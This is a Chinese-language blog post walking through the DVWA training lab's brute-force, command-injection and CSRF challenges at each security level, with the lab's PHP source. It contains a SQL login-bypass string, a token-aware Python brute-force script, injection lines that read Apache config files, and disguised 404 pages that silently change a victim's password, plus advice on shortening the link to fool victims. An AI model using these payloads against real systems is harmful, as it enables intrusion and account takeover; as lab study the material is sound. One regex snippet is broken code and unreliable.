Dvwa靶场学习

发布于 2020-07-25  7 次阅读


dvwa是一个web安全入门的新手靶场 里面涵盖了各种类型的web漏洞,结合源码学习可以学到许多安全方面的知识

部署安装

最开始dvwa环境的安装我是用lampp一键搭建的 后来正在学docker 就将它通过docker部署到本地了

#拉取镜像 可以去docker hub随便找一个 阿里云上的镜像市场拉了一个 居然发现有webshell
docker pull infoslack/dvwa
#运行dvwa
docker run -d -p -t 4000:80 infoslack/dvwa

然后访问一下 http://127.0.0.1:4000,下面是版本配置信息

#因为镜像是拉取的 要查看配置信息 需要运行如下命令
docker run -itd -e MYSQL_PASS="mypass" infoslack/dvwa

docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED                                                                                                                          STATUS              PORTS                            NAMES
cee6c3a31a93        infoslack/dvwa      "/run.sh"                26 seconds ago                                                                                                                   Up 25 seconds       80/tcp, 3306/tcp                 wonderful_galileo

docker exec -it cee6c3a31a93 Bash
#这样就成功进入容器了
#用户名admin 密码mypass
#mysql版本
mysql -uroot -p 
mysql> select version(),user();
+-------------------------+----------------+
| version()               | user()         |
+-------------------------+----------------+
| 5.5.47-0ubuntu0.14.04.1 | root@localhost |
+-------------------------+----------------+

#php版本
php -v
PHP 5.5.9-1ubuntu4.20 (cli) (built: Oct  3 2016 13:00:37)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies

#apache版本
apache2 -v
Server version: Apache/2.4.7 (Ubuntu)
Server built:   Jan 14 2016 17:45:23

#内核版本
uname -a
Linux cee6c3a31a93 4.18.0-147.5.1.el8_1.x86_64 #1 SMP Wed Feb 5 02:00:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Brute Force

因为未对登录进行限制和弱密码的存在,导致可以对密码进行爆破 爆破的成功率依赖于一个好的字典 爆破可以通过python脚本进行操作,当然burp的爆破模块使用起来也很方便就是了

Low

首先我们来看一下源代码:

<?php
#获取用户名和密码
if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    #查询语句 从数据库中获取用户名和密码
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password =     '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die(     '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error    ($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()    ) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        #输出用户头像
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        #登录失败
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ?     false : $___mysqli_res);
}

?>

 

可以看出这段代码问题很多 1.传输包的用的是GET方式,会泄露参数,一般登录传包都是用的POST方式 2.没有对参数进行过滤,似乎可以进行sql注入 3.没有对输入次数进行限制,给了我们爆破的机会

万能密码

#再看这个查询语句 似乎可以用万能密码
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass

上playload

?uname=admin' --+&Login=Login#

联合注入

发现并没有输出查询内容 所以还是告辞

Medium

源码:

<?php
#mysqli_real_escape_string()函数转义在SQL语句中使用的字符串中的特殊字符,对用    户名和密码进行了转义,防止了sql注入
if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS    ["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS    ["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix     the mysql_escape_string() call! This code does not work.", E_USER_ERROR)    ) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS    ["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS    ["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix     the mysql_escape_string() call! This code does not work.", E_USER_ERROR)    ) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    #查询数据库
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password =     '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die(     '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error    ($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()    ) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        #登陆成功
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        #登陆失败
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ?     false : $___mysqli_res);
}
?>

发现Medium等级的代码逻辑没什么区别,只是加了sleep睡眠了两秒,emmmm 好像没什么用,依然可以进行爆破,但是使用了 mysqli_real_escape_string() 对传入的数据进行了转义,所以sql注入好像是没戏了

high

源码:

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    #检查token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ],     'index.php' );

    // Sanitise username input
    #对用户名和密码进行转义
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS    ["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS    ["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix     the mysql_escape_string() call! This code does not work.", E_USER_ERROR)    ) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS    ["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS    ["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix     the mysql_escape_string() call! This code does not work.", E_USER_ERROR)    ) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    #数据查询
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password =     '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die(     '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error    ($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()    ) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        #登陆成功
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        #登录失败
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ?     false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();
?>

阅读源码发现 多了对token的检查:

 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

查询资料 发现token作用如下:

  • 防止表单重复提交
  • 验证身份 对checkToken进行溯源 访问index.php,查看源码,发现了token的位置
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

再对源码里的dvwa/includes/dvwaPage.inc.php进行追溯 查看源码,找到与token有关的函数

// Token functions --
function checkToken( $user_token, $session_token, $returnURL ) {  # 检验token
	if( $user_token !== $session_token || !isset( $session_token ) ) {
		dvwaMessagePush( 'CSRF token is incorrect' );
		dvwaRedirect( $returnURL );
	}
}

function generateSessionToken() {  # Generate a brand new (CSRF) token 
                                    #uniqid()获取一个带前缀、基于当前时间微秒数的唯一ID
                                    #基于时间生成一个md5的token值
	if( isset( $_SESSION[ 'session_token' ] ) ) {
		destroySessionToken();
	}
	$_SESSION[ 'session_token' ] = md5( uniqid() );
}

function destroySessionToken() {  # Destroy any session with the name 'session_token'
	unset( $_SESSION[ 'session_token' ] );
}

function tokenField() {  # Return a field for the (CSRF) token
	return "<input type='hidden' name='user_token' value='{$_SESSION[ 'session_token' ]}' />";
}


抓包发现请求如下

Request URL:
http://127.0.0.1/DVWA-master/vulnerabilities/brute/?username=admin&password=password&Login=Login&user_token=469d4cbfb25363e0110d1032743d80bb

#请求构造如下
http://127.0.0.1/DVWA-master/vulnerabilities/brute/?username={users}&password={password}&Login=Login&user_token={token}

这里可以写一个python脚本进行爆破

Python

import re
import sys
import requests
import os

def get_token(headers):
    token_url="http://127.0.0.1/DVWA-master/vulnerabilities/brute/index.php"
    token_html=requests.get(token_url,headers=headers,timeout=3).text
    token_re=re.compile(r'name="user_token" value=(.*?)')
    token=token_re.findall(token_html)[0]
def burte_with_token(username,pwd,headers):
    token=get_token(headers)
    brute_url=f'http://127.0.0.1/DVWA-master/vulnerabilities/brute/?username={username}&password={pwd}&Login=Login&user_token={token}'
    r=requests.get(url=brute_url,headers=headers)
    print(f'{token}:{username}:{pwd}',end='\n')

    if 'hackable' in r.text:
        print('\n 爆破成功')
        print(f'username:{username} \npassword:{pwd}\n')
        os._exit(0)

if __name__=='__main__':
    headers={'Host':'127.0.0.1:80',
             'Use-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
                         ' AppleWebKit/537.36 (KHTML, like Gecko) '
                         'Chrome/83.0.4103.116 Safari/537.36',
             'Cookie':'security=high',
             'PHPSESSID':'1ink8ehe0dib4j6gluj9deh7bj',
             'Accept': 'text / html, application / xhtml + xml, application / xml'
                       ';q = 0.9, image / webp, image / apng, * / *;q = 0.8, application / signed - exchange;'
                       'v = b3;q = 0.9'
    }
    username=sys.argv[1]
    pwd_path=sys.argv[2]
    try:
        with open(pwd_path,'r') as f:
            lines=''.join(f.readlines()).split('\n')
            print(lines)
        for pwd in lines:
            burte_with_token(username,pwd,headers)
    except Exception as e:
        print(e)

Impossible

源码:

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset     ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ],     'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS    ["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS    ["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix     the mysql_escape_string() call! This code does not work.", E_USER_ERROR)    ) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS    ["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS    ["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix     the mysql_escape_string() call! This code does not work.", E_USER_ERROR)    ) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE     user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >=     $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user     enumeration!
        //echo "<pre><br />This account has been locked due to too many     incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br /    >";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the     account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND     password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></    p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing     your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br     />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE     user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/    >Alternative, the account has been locked because of too many     failed logins.<br />If this is the case, <em>please try again in     {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login =     (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user =     (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看出 这里不仅和high一样添加了过滤和检验了token,还将登录方式转换为了POST,还对尝试次数进行了限制 登录失败3次后,15分钟后才能再次登录,有点狠

Command Injection 命令注入

指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的,PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞

Low

可以看出Low级别的源码 对操作系统进行了判断 然后再执行了ping命令,并没有进行任何的防护措施 查询了一下资料可以通过如下方式执行恶意命令

符号说明
ping;catping命令不论正确与否都会执行 cat 命令
ping&Bcatping和 cat 同时执行
ping&&catping 执行成功时候才会执行 cat 命令
ping|catping 执行的输出结果,作为cat命令的参数,ping 不论正确与否都会执行 cat 命令
ping||catping 执行失败后才会执行 cat 命令

所以我们可以执行如下恶意命令

127.0.0.1 ; cat /etc/apache2/apache2.conf;
127.0.0.1 & cat /etc/apache2/apache2.conf;
127.0.0.1 && cat /etc/apache2/apache2.conf;
127.0.0.1 | cat /etc/apache2/apache2.conf;
127.0.0.1 || cat /etc/apache2/apache2.conf;

Command Injection

Medium

源码:

 // Set blacklist 发现设置了黑名单 不过只对 &&和;进行了过滤
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

所以可以得出playload:

127.0.0.1|| cat /etc/apache2/apache2.conf
127.0.0.1 | cat /etc/apache2/apache2.conf

High

再看一下源码:

  $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

当时难倒了在这个地方,以为全部过滤掉了,直到我查了百度 发现'| '是带了空格的 用不带空格的命令依旧能够注入,有点无语

127.0.0.1|cat /etc/apache2/apache2.conf

Impossible

源码:

// 通过点号来切割输入地址 $octet = explode( ".", $target );

// 检查这四段是不是都是数字
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
    // 如果是数字 就把ip地址还原回去
    $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

    // 执行ping命令
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // 输出ping命令的结果
    echo "<pre>{$cmd}</pre>";
}
else {
    // 如果格式不对,则输出报错信息
    echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}

最后还添加了一个检查token的函数,如果是我,我多半会写一个正则表达式来检验IP地址 不过这种方式也可以了,不过他这个函数无法检验ipv6的地址

正则

string_IPv6=input("pleas input ipv6")
def checkip():
    p=((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)
    if re.match(p):
        print("ip vaild")
    else:
        print("ip invalid")
    if re.match(r"^(?:[A-F0-9]{1,4}:){7}[A-F0-9]{1,4}$", string_IPv6, re.I):
    print "IPv6 vaild"
else:
    print "IPv6 invaild"

CSRF 跨站请求伪造

CSRF一般指跨站请求伪造。跨站请求伪造,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,相当于是一种借刀杀人的漏洞

Low:

源码:

// Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // 检验两次密码是否一致,密码一致则执行修改密码的操作,不一致则提示
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // 在数据库修改密码
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user =     '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() .     '</pre>' );

发现没有任何防护措施,只要新旧密码一样就可以执行修改密码操作 先输入不同的密码 在url栏可以看到请求

http://127.0.0.1/vulnerabilities/csrf/?password_new=123456&password_conf=123&Change=Change#

所以我们只要构造出如下playload

#将密码修改为123456
http://127.0.0.1/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

这时候只要诱骗受害者点击该链接就可以修改密码,但是这个链接太明显了,正常来说,有点常识的都不会点 所以这个时候我们需要把这个链接转换成短链接就可以了 我们这里选用站长之家的短链接生成工具 生成的链接如下

http://suo.im/6lkX3e

只要受害者点一下这个短链接就会重定向到上一个长连接

但是这样受害者还是会发现自己密码被修改了,为了防止被发现,你也可以写一个html放到服务器上只要受害者访问该html密码就会被修改

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title></title>
</head>
<body>
	<h1>404</h1>
	<h2>file not found</h2>
	<img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"  style="display: none;"/>
</body>
</html>

Medium

关键部分源码:

 Checks to see where the request came from
  if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
      // Get input
      $pass_new  = $_GET[ 'password_new' ];
      $pass_conf = $_GET[ 'password_conf' ];

可以发现中级部分添加对referer的检验,如果referer不一样还是不能修改密码

抓包

虽然说可以直接在这里抓包修改referer头,但是正式利用的时候,受害者肯定不会给你构造referer 所以我们可以写一个自动提交的隐藏表单

<!DOCTYPE html>
<html>
    <head>
	    <meta charset="utf-8">
	    <title>404</title>
    </head>
    <body>
	    <form action="http://127.0.0.1/vulnerabilities/csrf/" method="get" id="csrf">
		    <input type="hidden" name="pwd_new"  value="123456" />
		    <input type="hidden" name="pwd_conf"  value="123456" />
		    <input type="hidden" name="change" id="" value="change" />
	    </form>
    </body>
    <script>
	    document.getElementById("csrf").submit();
    </script>
</html>